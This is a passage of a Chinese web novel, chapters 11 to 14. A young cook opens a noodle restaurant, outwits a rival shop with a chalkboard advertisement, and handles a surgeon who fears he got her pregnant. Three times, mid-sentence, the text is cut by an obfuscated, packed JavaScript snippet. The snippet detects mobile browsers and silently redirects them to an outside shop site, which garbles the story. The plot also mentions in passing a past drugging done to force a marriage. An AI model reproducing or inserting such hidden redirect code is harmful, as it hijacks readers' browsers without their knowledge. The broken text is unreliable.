11. 第 11 章 我！怀孕！ 陆淮川一个星期没有回来过。 屋子里冰冷的没有人味。 他站在进门处，眼睛不由得看向卧室。 卧室的门敞着，床铺上收拾的齐整。 被子叠在床头，被子上是一整套的床单被罩。 看样子是清洗过又叠起来的。 陆淮川皱着眉，走上前，冷着脸，伸手拉过门‘砰’的一声，把卧室门关上。 赵苏南走到他门口，听见屋里大声关门的动静。 踌躇着不大敢进。 等会要是把陆淮川气的要跟她动手可怎么办？ 虽然陆淮川是个医生，可他身上有腹肌还有胸肌。 一看平常就经常锻炼。 而她就是个厨子。 拿刀剁肉切菜还行，要是和陆淮川起冲突，一个巴掌能把她拍进医院骨科住院。 但陆淮川应该也不会和她动手吧。 毕竟上次她说只是想睡他，也只是被气到冷的能冻死人，摔门走了。 这会应该也不会吧。 赵苏南在心里斟酌着道：那她这次还是不要太过分了，拿捏好尺度，应该就没问题了。 陆淮川隔着窗户看到赵苏南手提着东西，直愣愣地站在他门口，一会皱脸一会又笑的。 “赵苏南，在我家门口站着干什么？”陆淮川冷声道。 赵苏南和陆淮川隔着窗户对视，她提了提手上的东西，指了指门：“我进来了。” 陆淮川冷眼看着她，睡了他之后，这一个星期过的倒是好，看她脸色红润，双眼晶亮有神的样子，不是过的好，是过的很好。 赵苏南顶着陆淮川的冷眼进来了，进了屋里，顺手把门关了。 主要她怕她对陆淮川做的事情，被她爸妈看见。 她进了门，把手上的东西放在他客厅的桌上：“这是家里做的腌菜和辣酱，我爸妈说给陆叔叔、婶婶拿回去尝尝。” 陆淮川望着她：“东西送过来了，你还有什么事。” 赵苏南清了清嗓子，也望着陆淮川，开口道：“陆淮川，你过来，我想要和你说点事。” 和我说事？她和他有什么事可说？ 陆淮川脑子一转，忽然想到了某一种可能。 眼神落在她身上微动，有些楞神。 片刻回过神，抬脚朝她走过去。 赵苏南看着缓步走过来的陆淮川，盯住他的双手。 他是个外科医生，那双手修长、骨节分明，是手控的最爱。 他走过来，两人之间的距离很近。 赵苏南能闻到陆淮川身上消毒液的味道。 她上前一步，纤细白皙的双手，拉住陆淮川修长的大手。 不仅拉住，还十指相扣。 她仰头看着陆淮川的眼睛，轻声说：“陆淮川，有没有人说过你的手真好看。” 陆淮川此刻的观感都集中在赵苏南与他十指相扣的手上。 那双手比他的手小了足有一圈。 不同于他手的硬。 柔软，细腻，温暖。 陆淮川低头看着她，听见她说的话，双手下意识用力一握：“你说什么。” 赵苏南不怕死的又说了一遍：“陆淮川，我说你的手真好看。” 这会他听清了，猛地甩开她的手，瞪着她，退后两步：“赵苏南，你不知羞。” 赵苏南咳了两声，摸摸鼻尖，偷眼瞧陆淮川，他像是很生气的样子，耳朵红了，脸红了又青，眼睛都有红血丝了。 她其实也挺不好意思的。 不过赵苏南调整好心态，把她那漂亮的眼睛，用一种极其有存在感的眼神，在陆淮川的脸上掠过：“陆淮川，你的眼睛也很好看。” 这话说完，陆淮川耳朵更红了，脖颈也都红了。 赵苏南怕挨打，悄悄向后退，和陆淮川拉开距离。 并且找准门的方向，一有不对，开门就跑。 陆淮川压抑着嗓音道：“你就是来和我说这个的？” 赵苏南点头，满脸认真：“对。” 陆淮川眼睛深深盯着赵苏南，咬着牙说：“你脑子里除了这个就不能有点别的东西？” 别的东西，什么东西，赵苏南不理解陆淮川说的话？ 陆淮川看她清澈的眼神正疑惑不解地看着他。 脑子里想到她现在的年纪。 顿了顿，到嘴边的话咽了下去，重新组织语言道：“你这个月的例假来了么？” 赵苏南不明白陆淮川关心她的例假干嘛，但还是老实摇摇头：“没有。” 陆淮川又问：“有没有哪里不舒服？” 赵苏南这时脑子向被闪电劈了一下，豁然明白陆淮川为什么问了。 她手颤抖的放到自己的小腹上。 不是啊，书里不是写，陆淮川与前妻结婚多年，一个孩子都没有么？ 陆淮川虽然冷漠，可是个极负责任的人。 那晚，事情突然，发生后，他也做好了结婚的决定。 “赵苏南，我们好好谈谈。”陆淮川道。 “谈什么？”赵苏南下意识问？ “结婚。”陆淮川回。 赵苏南睁大了眼睛，连忙摆手：“陆淮川，我是真的不想和你结婚。” 听着这话，陆淮川脸色难看：“你不想和我结婚，怀孕了你要怎么办？” 赵苏南讪讪道：“不可能有。” 于是赵苏南被陆淮川从他家里请了出去。 随后，她就看着陆淮南拿着收拾好的东西，拎着三罐腌菜，寒着脸，骑车走了。 赵苏南仰天叹气，在心里大喊：“这都是什么事啊！” 直到第二天拿钥匙打开新租下的商铺的大门，萎靡的心情这才好上一些。 打开大门，九十平的屋子宽阔的很。 就是空置许久，都是灰、垃圾和蜘蛛网。 赵苏南打量这屋里，地面坑坑洼洼，需要重新抹平。 墙面也要重新粉刷。 这时候可没有什么公摊一说，九十平就是实实在在的九十平。 厨房她要留二十平，其余七十平做大厅。 七十平大厅放二十套桌椅，左右靠墙摆一排，中间再摆一排，空出两趟供人行走的位置绰绰有余。 客人多到屋子坐不下，大门外还能再摆上几个桌子。 这个时代，个体经济刚刚发展，还没有占道经营这个说法。 厨房她要好好规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276536|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划。 她要砌上三个灶。 摆上三口锅，既能炒菜又能煮面。 还要装上放置调料的位置。 赵苏南一边走一边想着仔细的规划。 家里租了房子要开饭店，苏芸和赵建军商量了一下，决定早餐就不卖了。 苏芸帮着赵苏南卖面，赵建军盯着装修这些活计。 赵建军的战友有做装修的。 赵苏南自己对装修两眼一抹黑，既然是父亲的战友，那么装修的事她就都交给父亲。 到时候，她就把要求说出来，按要求装就好。 父亲去找战友谈装修去了，店里就剩赵苏南苏芸母子两人忙活起来。 肉还没卤好，就有人来了。 “苏芸哪，小赵老板，你家可是开门了。” 这人苏芸认识，是总来买早餐的王姐。 赵苏南这几天认清了王姐这熟客的脸。 王姐像是很着急，快步走过来，拉住她们娘俩，悄声地说：“北街孙燕看你们家卖面来吃的人多，都不往她家去，现在为了揽客，她家降价两毛钱，每碗面都卖两毛、三毛。” 苏芸听的了，也急了：“不行，我得去找孙燕去，这不是诚心不让我家在这干，想要我家关门么？” 赵苏南拉住苏芸的胳膊，安慰她：“妈，不着急，不着急。”对着王姐问道：“王姨，北街那家店里都卖的什么面？” 王姐想了想道：“好几种呢，有炸酱面、打卤面、麻酱面、鸡丝面、牛肉拉面、阳春面。” 赵苏南点点头，这几种面都是老燕都特色面。 做起来难又不难。 难的是不好做出来老燕都人认可的味道。 不难的是这些面不需要多么复杂的手艺和食材。 但赵苏南跟着师傅学厨艺那些年，被师傅领着拜访过许多大厨，还被扔进这些大厨的餐厅里当免费劳工。 而她呆过的餐厅，就有一家燕都百年老字号，这些面菜单上全部都有。 她曾经有幸跟着那位大厨学过几手。 虽说做不出来大厨十分的手艺，却也能做出来八分的味道。 孙燕想要靠打价格战的方式，打垮她的店，那她可是打错主意了。 赵苏南笑着对王姐说：“王姨，我把隔壁店租下来了，下月就能装好开业，开业那天店里会上新菜，到时候还请王姨帮忙宣传宣传。” 王姐也知道赵家要开新店的事，不过上新菜，宣传，王姐眼珠一转，就知道这小姑娘想什么了：“行，小赵老板都要上什么新菜？” 赵苏南道：“我准备做炸酱面、打卤面，炸酱面，阳春面。” 王姐听着笑开了，拍手道：“姨保证给你好好宣传，肯定让四邻街坊都知道。”说完也不待了，着急走去宣传去了。 苏芸没那么乐观，她道：“这王姐家早前也在北街开面馆，两家竞争，但孙燕的丈夫李明做面很有一手，王姐家味道差点，没干多久就关门闭店了。” 赵苏南挽着苏芸的胳膊道：“那是没有遇到我，既然她家想让咱们家的店开不下去，那她们家的店也别想在这十字街开了。” 论商战，论营销，和她赵苏南对上，那可找错人了。 12. 第 12 章 第二天八点，赵苏南一家正在店里忙活着卤肉，备菜。 有六个人骑着车沿着街道，径直向他们家店的位置骑过来。 领头的是个精壮的男人。四十岁左右的年纪，皮肤黝黑，平头，穿着一身工作服，不笑时很显凶。 他们一行六人，分别骑了两个三轮，两个自行车。 除去领头的男人，其余五人年纪都在二十岁左右。 并且看的出来都以领头的男人为先。 赵苏南眼含警惕，握在手里的刀都攥紧了。 就见她父亲、母亲看到来人，都起身、擦手迎了过去。 赵苏南看不是来找茬的人，心头一松，握着刀的手也随之放松。 “老郑，怎么这么早就过来了，不是说好八点半到么？”赵建军笑着道。 老郑停下车，走下来，拍拍赵建军的肩膀：“早上没事，就想着早点来，也能多装一会。” 苏芸招呼着这一群人：“早上来这么早，都还没吃饭吧。正好在这吃。” 老郑摆手：“都在家吃过了弟妹，就去看看房子，规划一下要怎么装。” 赵建军道：“这得问我们家苏南，她是这家店的老板，她做主。”转身对苏南招手：“苏苏，这是爸在部队的战友，你得叫郑叔，他可是装修的一把好手。” 赵苏南放下菜刀，过来礼貌叫人：“郑叔好。” 这位郑叔面无表情时显得凶，有了笑摸样，倒显出了老实人的憨厚。 老郑应了好，语气羡慕地对赵建军说：“还是你家姑娘有本事，都能开店做生意了，不像我家那个小子，读书不成，做什么都不成。” 说起自家小子，老郑很是头痛。 赵苏南拿出钥匙去开门：“做大事的人都大器晚成，郑叔不用太操心。” 老郑一想也是，自家儿子也才二十二，说不上那天就开窍了呢。 打开门，赵苏南打头领着一行人进到屋内。 她对于装修是个外行，昨天已经让她爸把她的要求转达给这郑叔了，就看郑叔怎么装了。 郑叔在屋子走了一圈，脚踢踢地，摸摸墙。 又走回到赵苏南身边：“苏南，你爸昨天和我说了你的要求，这房子方正户型，能按你的要求装好。” “郑叔，您就用好材料装，这方面不用客气。”赵苏南道。 这店铺装修，材料上不能马虎。 不然这地，装好后放上桌子板凳，划拉几下就出坑了，墙面蹭几下就掉漆了，既不美观，后期还要花时间去补。 老郑笑道：“放心，你爸和我是多年的朋友了，保准给你装的好好的。” “地面用水泥压光，刷上棕色地板漆，墙用大白浆找平，上颜色有浅米黄和奶白两种色，苏南你选那种？” 赵苏南想了想。 浅米黄上到墙上，不行不行，不大好看。 还是上奶白色，亮堂不难看。 “刷奶白色，郑叔。”赵苏南道。 “那行，后厨用砖砌墙隔出来，里面三个灶都给你用砖和水泥砌好，操作台也给你用砖和水泥砌好。”郑叔道。 好家伙，砖和水泥结构的，结实到在上面直接拿刀砍骨头都没事了。 赵苏南笑着道：“多谢郑叔了。” “那好，今天先把垃圾收拾了，先把地面和墙皮铲平。”郑叔招呼身后五个小子开始干活。 这里忙开了，赵苏南他们就不在这里碍事，回旁边的小店里开始忙活起来。 今天来的客人依旧不多，一天才卖出去六十碗面，三十碗酸辣粉。 赵苏南数着手上的钱，一共四十二元。 收入减去了一半。 苏芸看着少了一半的营业额，又愁又气恼：“这孙燕家一降价，摆明了不想让让咱们家再开门。” 赵苏南把今天的钱收好：“妈，北街那家面馆这么打折，咱家的小店还能卖出去这么多，说明该了一个问题。” 苏芸不明所以问道：“什么问题？” 赵苏南起身准备去招呼郑叔他们吃饭：“说明我做的面比他家做的面好吃。” 苏芸知道自己家女儿做的面好吃，但是呢？ 赵苏南笑了：“妈，你说，我做的面这么好吃，当新店开业时，卖了和他们家一摸一样的面，价格比他们家还要贵出一毛，并且所有的客人都来吃。” “那北街那家不就得关门闭店了么！”这话苏芸下意识脱口而出。 是呀，只要新店开业那天，就是她闭店歇业倒计时那天。 不过在新店开业前，这几天赵苏南也不会让她的店开的太舒服的。 这就得麻烦郑叔他们帮忙了。 郑叔六人洗干净手，围坐在外面小桌上。 赵苏南把做好的卤肉面和酸辣粉都给他们端上来。 跟着郑叔干活的都是二十多岁的年轻人，能干活，肚子里也缺油水。 中午吃了赵苏南做的卤肉面和酸辣粉，太好吃了。 尤其是那口卤肉，实在是香。 小赵老板给他们每人盛了满满一大碗的卤肉和面，一碗吃完，汤都没有剩下。 晚上又是满满一大碗。 看的郑叔都不好意思了。 这时候肉贵，尤其是这卤好的肉更贵。 再好的主家也没有顿顿这么做吃的。 “苏南，给我们多煮些素面就成，不用加这么多肉。”郑叔道。 “郑叔，都是自家人，这点肉而已。”赵苏南笑着说，“郑叔，这几天还需要你们帮我个忙？” “你说。”郑叔爽快答应了。 赵苏南道：“这不店里要上新面了，想让郑叔你们帮我试菜。” 听到试菜，埋头边吃边伸长耳朵听的五个小伙眼睛刷地亮了。 不等郑叔说话，一叠声道：“我们愿意，我们愿意帮你试，小赵老板。” 只要吃过小赵老板做的面的，想一想那还没上新的面，就知道有多好吃。 还是免费吃的，不花钱。 郑叔也点头，被说他也想尝尝赵苏南的新面有多好吃了。 次日清晨，好多上班的职工，骑着车挤在一堆不知道在看什么。 不明所以的人，也挤进来看。 十字街有一张做宣传用的大黑板。 往常都写着些宣传标语，每天都是大差不差的内容。 今天不一样。 大大的黑板上，写了一篇宣传老燕都美食的文章，还配着好几张人物画。 是介绍老燕都炸酱面的。 上面写炸酱面的酱，可不是难登大雅之堂的平民粗食。*** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276537|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初努尔哈赤曾大力推荐，因为这大酱是咸的，能补充盐分，又是鲜的，能引人口舌生津，又是大豆酿成，富含丰富大豆蛋白。 这老燕都的炸酱也是个费事的细致活。 葱、姜末切好备着，不能下锅爆香，要不放入酱再炸，时间久就没了香，只剩辣了。 五花肉肉丁要切成大肉丁，煸炒后肉丁会缩小。 酱到了锅里要用小火不停地翻炒，尤其不能加水，不然炸出来的酱不醇香好吃。 翻炒到锅里的酱起泡，这时才把葱、姜末加进去，立刻起锅。 这酱就算是炸好了。 肉丁和酱互相融合，裹在面上，咬上一口，那滋味，抽耳光都不撒口。 还有这面，得是抻面，这是个精致的手艺。 要先和出一块硬面，一点一点使劲揉，揉到面不粘手，一按出小坑，就算活好了。 和好的面，揉成长条，拎起来抖长，对折成两股，转成麻花似的，叫套扣。 抻成四股，对折套扣，再抻成八股，对折套扣，如此反复，最后抻成256股。 抻面的过程如同表演杂技，不光是技术活，更是面点师傅的艺术创作。 炸酱面根据季节加入不同样式的面码，就叫顺四时。 将原本将就的炸酱面，吃出了不同来。 那图画的更是传神。 不仅那碗炸酱面画的色香味俱全，那更是将吃面的人的神态展示的一览无余。 小孩眯着眼吃的满嘴流油。 大人挑起面条往嘴里送，脸上十分享受满足。 围观的众人大多是早上没吃饭的，饿着肚子瞧见这充满诱惑力的文章和冲击力十足的配图，一个年轻人捂着咕咕叫的肚子，一边咽这口水，哀怨地叫嚷：“是谁大早上的害我，快告诉我那家店能吃到这面！我现在就要吃！” 有眼睛好使的，看见下面那行红色粉笔写着：西街赵苏记，厨师赵苏南著。 “是西街赵苏记！是他们家！” “我知道，可他们家中午才开门啊！咱们上班来不及吃了！” 众人一边叹气，一边捂着饿着的肚子，不情不愿的去上班。 有不上班的记得北街也有一家卖炸酱面的，蹲在门口等。 于是孙燕和李明来到店里的时候，就看到自己门口等了一堆人。 这可把两人欢喜坏了，连忙开门把人迎进门。 进来的客人落座后问：“你家的炸酱面是老燕都炸酱面么？” 孙燕拍着胸脯，一脸骄傲：“我家男人那手炸酱面可是传承了三代的，是正宗的老燕都炸酱面。” 众人听她一说，眼露期待，纷纷点了一碗炸酱面。 就在众人的期待中，一碗碗炸酱面上桌了。 众人看着这碗里装的炸酱面，觉得被骗了。 这炸酱的酱颜色泛黄，不粘稠还很稀，一看就是加了水的。 里面的肉少的用眼睛都数的过来。 面条也不劲道，挑起来就断。 这根本不是老燕都炸酱面。 孙燕还没看出来众人的愤怒，还在哪里怡然夸赞自家男人的手艺。 直到一个顾客把筷子重重撂在桌子上，大喝道：“你家这根本不是老燕都炸酱面，我不吃了！给我退钱！” 13. 第 13 章 孙燕听到顾客摔筷子被唬了一跳。 转脸低头看着那碗动过一口的面，眉毛倒竖，怒骂：“面都吃了还想叫姑奶奶给你退钱，哪有那么便宜的事！” 孙燕不肯退钱，那摔筷子的顾客却是个较真性子的：“进了门就问你这面馆是不是老燕都炸酱面，你自己瞧瞧，这酱，稀汤似的，面一夹就断，糊弄鬼呢你！” 孙燕嗤笑一声，斜眼瞅他：“你凭什么说我家的炸酱面不是老燕都炸酱面，土老帽一个，吃过什么好东西！” 顾客看不上她那副高高在上的样，手指着外边：“十字街黑板报今天就是宣传的就是老燕都炸酱面，上面写的、画的，都比你家这做出来的好，要不是会做这炸酱面的西街赵苏记要下个月才开始上面，谁要搁你家吃。” 孙燕一听西街赵苏记，窜上前，手要戳到顾客脑门上了：“好啊，我说大早上闹着要退钱，感情是老赵家派过来找茬的。” 顾客急忙后仰躲开，转身就跑出门，跑出去后站在门口大喊：“大家都别到李记吃面啊！他家的做的炸酱面，根本不是老燕都炸酱面！都是骗人的！都不如我家媳妇做的好吃呢！” 孙燕一听可不得了了，抓了扫帚冲了出来：“你这嘴不想要了，姑奶奶今天非给你撕了不可！” 顾客跑的比她快，嗖的一下人影都看不见。 被顾客一嗓子吸引来瞧热闹的人群，跟看猴戏似的哈哈大笑。 孙燕拎着扫帚，横眉瞪眼，喝道：“看什么看，看什么看，再看耽误我家做生意，就找你们赔！” 周边的人谁不知道孙燕的为人，她真做的出来找他们赔钱的事，大家伙赶紧跑了。 店里还坐着几个食客，筷子夹着面条，紧着往嘴里送。 这面好歹花了两毛呢，难吃也不能浪费了。 扒拉完一碗面，低头放下筷子拔腿就走。 他们可不敢和孙燕对视上，找他们茬可怎么办！ 转眼功夫，店里人都走没了。 人都走了，李明这才从厨房里出来。 他是个极要面子的人，顾客说他的面难吃已经够丢人了，他可不想出来被指着鼻子骂。 李明坐在凳子上，对孙燕道：“这老赵家黄毛丫头，在黑板上写了什么东西，你过去看看。” 孙燕老大不乐意，嚷嚷道：“凭啥我去！” 李明也不乐意了：“我不在店里，客人来了你能做面是咋地！” 孙燕那会做面。 扫帚往地上一扔：“我去就我去。” 孙燕家点距离十字街宣传黑板不远，走几步路就到了。 还没到近前，挺多人挤在一起，中间围了个人，可不是王姐。 孙燕小心往过凑，伸长脖子，耳朵贴过去，就听：“这炸酱面还得去吃西街赵苏记的，人家做的保管和这图上原模原样。” “真的，王姐你吃过！和李记的比呢？” 王姐摆摆手，撇嘴：“不是我说，李明那手艺可比不了小赵老板，人家可是专业大厨手把手交出来的，都是传承，有秘方的，李明家有啥，都不如咱自己在家做的。” 这孙燕可听不下去了，伸手就要够王姐的头发，王姐余光扫到王燕，敏捷地往左边一躲，没抓到。 “好你个王秋丽，搁着编排我家，姑奶奶撕烂你的舌头！”孙燕往前扑，王姐朝后躲，边躲边道：“咋地，你家做的难吃还不让人说。” 又对着大伙道：“她家就一普通炸酱面，还骗人说传了三辈，冒充老燕都面馆。” 孙燕气急了，王姐也不和她纠缠，说完在众人的掩护下，走的无影无踪。 她这辈子受的气都没有今天多。 回店里，瞧李明还有心思抽烟，更是气不打一处来。 一把打掉他手里的烟，重重落脚捻上去：“抽抽抽，都被被人骑在头上了，抽死你得了，还不想想办法！” “你干嘛，冲我撒什么邪火！”李明不耐烦道：“过两天让儿子回来一趟，她家不是想开新店么！就让她在开门那天就关门倒闭！” 孙燕眼睛一转，这才露出了一丝笑。 赵苏南写的那黑板报，是昨天去找十字街的街道办工作人员商量来的。 街道办领导很好说话，她说要宣传一下燕都特色，写一些美食板报，就看了她准备好的画和文章一下，点头同意了。 那板报耗费了她两个小时才画完。 她这招可是个阳谋。 要是北街那家面馆面做的足够好吃，黑板报的内容不仅不会给他造成影响，反而能招揽住爱吃的老饕。 但要是做的不够好吃。 看了她这副色香味俱全的画的顾客，可是要闹了。 赵苏南可没空关心北街的热闹。 她做黑板报的主要目的是给自家面馆宣传。 现在来这么多客人，证明宣传的结果非常不错。 不过要想让他们念念不忘，当然得当着众人的面现做一碗出来。 只有这看得到、闻得到却吃不到，最能勾人心。 大中午的，郑叔他们在外面的桌子上就座。 赵苏南当着众人的面开始炸酱。 这炸酱的步骤就是按着黑板报上写的画的来的。 半斤的肉切成大肉丁，锅里加三勺油，烧热下肉丁。 锅铲煸炒至肉丁微微焦黄，泛出肉香。 下入黄酱不停翻炒，肉丁裹进酱里，随着翻炒的动作，逐渐融合，酱有了肉香，肉也有了酱味。 炒至锅内的酱不停起泡，渐渐发亮，再放进去葱姜末，翻炒几下，这炸酱就做好了。 围着的人闻着这酱香，再看着这油亮红润的样子。 不用吃光闻着这味，看着这色，就知道有多好吃了！ “小赵老板，炸酱多少钱一份，我卖一份！” “我也要一份！” 赵苏南把这炸酱放好，笑着道：“各位不好意思，这炸酱面下月上新，今天这碗炸酱是非卖品，各位可以下月新店开业再来，小店那天酱备的足足的，管够。” 说着走到桌子边，开始和面。 这面揉过了三道，醒发了半小时，足够劲道。 抻面这活计，来吃的食客看的多了，以为和之前没有什么不同。 却见小赵老板，先把面在案板上揉成长条，拎起来抖长，抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276538|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的这条子粗面又对折成两股，转成了麻花。 “面团到小找老板手里咋这么听话，让变什么样就变什么样！” 拎着两股面在沾满面粉的案板上使劲一摔‘啪’的一声响。 众人还以为面这么摔早就断了，可当小赵老板提起来，还是完完整整的几股。 接下来就是一同令人眼花缭乱的操作，众人看的目瞪口呆。 这抻个面，还有这么多花样。 众人也是开了回眼了。 这么会功夫，那一小小团面，已经成了面条了。 如此纤细，厉害的是一根都没断。 “这要是让我抻面，摔的那下就断了。” “你还能到摔得那下，我扯的那下就断了。” 抻好的面下锅煮，两开后捞出。 灶边放上一溜六个大碗，依次放入抻面，?上满满两勺子炸酱，放上切好的小萝卜丝、黄瓜丝、豆芽。 一碗炸酱面做好了。 苏芸和赵建军帮着端上桌，赵苏南又拿出六个碗，依次放上几个粒的虾皮，舀上一勺子面汤放入碗里。 端上去对郑叔道：“郑叔，这炸酱面爱坨，这面就吃的一口顺溜劲，浇上点虾皮汤，滋味更鲜，味道更好。” “这炸酱面吃的可真讲究！我从前可没再其他面馆这么吃过。” “谁吃过！大伙不都是头回见。” 郑叔他们六个人就在众人围拢中，开始吃面。 面搅拌均匀，焦黄油亮的炸酱沾染到面条上，白色的面也油亮油亮的。 挑起一筷子面，大颗粒的肉酱紧紧贴在面上，吃到嘴里，酱香、面爽滑劲道。 好吃的很。 郑叔吃的香，其他五个小子吃的更香。 一口气吃掉一半，面有些坨了，端起那碗虾皮汤，加入面碗里。 这会面条多了虾皮的鲜，更香了。 围观的众人吃不到这炸酱面，只好点上一份卤肉面，就着六人的现场吃播，边看边吃。 晚上闭店关门，赵苏南数着手里的钱，又突破了一百这个数字。 愁了好几天的苏芸，这才放下了心。 “还是苏苏想的主意好，这顾客又回来了。”苏芸道。 赵建军笑着道：“女儿的手艺好，只要吃过一会，顾客早晚会来的。” 赵苏南把钱收好，对着父母道：“咱们也回家吃饭去！” 中午的炸酱还剩下不少，还有卤肉，晚上回家随便煮点面条吃。 赵苏南回到家，坐在客厅休息。 听到院子里出现一辆自行车的声音。 顿时，她心里有了不好的预感！ 果然，听到了厨房忙活的爸、妈的声音： “是陆主任回来了！” “陆主任吃过饭了么！” 陆淮川清冷的声音传来：“赵叔，苏婶，还没吃。” 然后她妈道：“那正好，我这正在煮面，过来一起吃。” 赵苏南支棱着耳朵，在心里祈祷陆淮川一定要拒绝。 就听陆淮川沉默片刻，回到：“麻烦苏婶了！” 赵苏南的心瞬间死。 14. 第 14 章 赵苏南愁呀。 她摸摸自己的肚子。 陆淮川都这么讨厌她，讨厌到一句话都不想和她说了。 还为了薛定谔的孩子来她们家。 人怎么能这么负责！ 问题是她不需要陆淮川负责啊！ 陆淮川走进赵家客厅，就看到赵苏南一手摸着肚子，一边皱着眉头。 他下意识也跟着皱了一下眉。 周正他们都说赵家早点铺改卖面，赵苏南是主厨。 可这段时间医院事情多，他们几个被留在医院加班，吃饭都在食堂解决。 也就不知道关于赵苏南的近况。 但周正他们说过，赵家的面很好吃，那生意该是不错。 所以是累到了。 陆淮川走近赵苏南，在她身旁站定，低头，冷淡开口：“肚子不舒服？” 陆淮川很高，站在赵苏南身边，挡住落在她身上的灯光，影子笼罩在她身上，把她包裹在里面。 赵苏南抬头看他，感慨这人得有一八八吧，真高！ 她把手放下来，摇头：“没有不舒服。” 陆淮川在她抬头间，眼睛细看过她的脸色，有些疲惫，但眼睛有神，脸色粉润。 气色不错。 他挪开视线：“这两天有没有出现不良反应？” 赵苏南觉得他们俩现在的这个样子古怪极了。 怎么有点像渣女和她那被伤透了心但看在孩子的份上，因为责任虽然冷漠但关心你身体的丈夫。 她搓了搓胳膊，她联想到哪里去了。 赵苏南经过前两天陆淮川的提醒，也在注意自己的身体。 虽然例假依旧没来，却也没有怀孕时的那些反应。 她摇了摇头：“没有不舒服。” 陆淮川点头。 他们俩从发生关系到今天，时间不到半个月。 有了什么，反应也不会来的这么快。 就在这时，他的衣角传来一阵拉扯，他顺着力道看过去，就见赵苏南双眼晶亮地望着他：“陆医生，你会把脉么！” 陆淮川会。 当初学医，跟一位老中医学过一段时间。 他点头。 赵苏南伸出左手，亮出手腕：“陆医生，你给我把个脉吧，看能不能把处什么来。” 陆淮川定睛看着她。 赵苏南也回看他，挑了一下眉毛，伸着手腕，示意他把脉看看。 陆淮川弯腰伸手捉过她的左手，放在沙发扶手上，两指并拢落在她手腕上。 脉搏节奏均匀，平稳有力。 但没有往来流利，入盘走珠的感觉。 要么是他没摸出来，要么是她没有怀孕。 陆淮川这一刻的心情不知是放松还是失落。 他面无表情地刚要放手。 赵苏南猛地抓住他的手指，进而抓住他的正只手，朝着她坐的方向用力一扯。 陆淮川身体霍地前倾，另一只手抓住沙发扶手上，稳住身体。 赵苏南心里得意，她那些电视剧可不是白看的，偶像剧的套路都记熟熟的。 她就不信了，陆淮川这么厌恶身体接触的人，在她这么一而再、再而三的调戏下，还不得讨厌死她。 尤其陆淮川本身极其厌恶她的情况下。 陆淮川眉头蹙起，冷声低斥：“赵苏南你又想做什么？” “没做什么呀，就是单纯的想摸你的手。”她语气诚恳，目光真诚，手还在他的手指上捏了捏。 陆淮川的冷脸在赵苏南这，压根不管用，她压根不还害怕他的冷脸。 之前的赵苏南他还一眼看的透，自私、虚伪、势利，做作又没脑子。 给他下药，目的就是为了想和他结婚。 但从她昏迷又醒来之后，她就变了。 她说不想要和他结婚，还要距离他八尺远。 陆淮川不知道赵苏南到底有什么目的。 说着要远离他，又要和他亲近，撩拨他。 这种猜不透她目的的感觉，糟糕透了。 陆淮川反手握住她的手腕，紧紧攥住：“赵苏南，你到底想做什么？” 我想让你离我远点，我什么都不想干啊！赵苏南只能在心里说。 陆淮川握住她手腕看似用力，其实不疼。 赵苏南凑近陆淮川，右手指轻抚他的左眉眼，轻声说：“那天我们就是这样，陆医生，那天我的腰都青了。” 陆淮川耳根红了，猛地甩开她的手，抿着唇，冷冷地瞪着她。 赵苏南揉着手腕，嘴唇含笑，挑衅地望着他。 就在赵苏南以为陆淮川会说什么话来怒斥她，结果就冷冰冰地看了她一会，转身脚步匆忙地走了。 院子里听到她父母疑惑地扬声问：“陆主任，这饭都要好了，吃了饭再走啊！” 陆淮川冷声道：“赵叔、苏婶，医院还有事，我先走了。” 赵苏南笑了，这回陆淮川该是十天半个月都不会回来了。 苏芸和赵建军端着碗筷和面条进屋的时候还在念叨：“陆主任这医院再忙，也得吃了饭再走啊。” 赵苏南走到餐桌旁坐下，给自己挑了一大碗的面条，漫不经心地说：“陆主任是主任嘛，肯定忙，不说他了妈，快吃饭吧，都要饿死了。” 苏芸闻言也不在说陆淮川了。 一夜无事，早晨起来赵苏南神清气爽。 店里的装修郑叔稳步推进中。 赵苏南二叔家的两个嫂子今天早早的也等在门口。 赵苏南停好自行车，迎上前：“大嫂、二嫂，你们怎么来了，在这等了多久了？新店还要下个月才开业呢！” 许华和张琴都有些拘谨，看到赵苏南她们一行人，这才放松了些许，大嫂许华先开口：“寻思苏南店里装修，人手不够，有什么能帮上忙的，就来搭把手。” 二嫂张琴也点头道：“我和大嫂一起商量，先来店里适应适应，免得新店开业，来的客人一多，我俩慌手慌脚的不知道做什么。” 赵苏南笑着道：“店里的活都轻松，大嫂、二嫂，你俩今天就跟着我妈，让她带着你俩。” 苏芸也笑了：“店里的活简单，小华、小琴在店里干两天就学会了。” 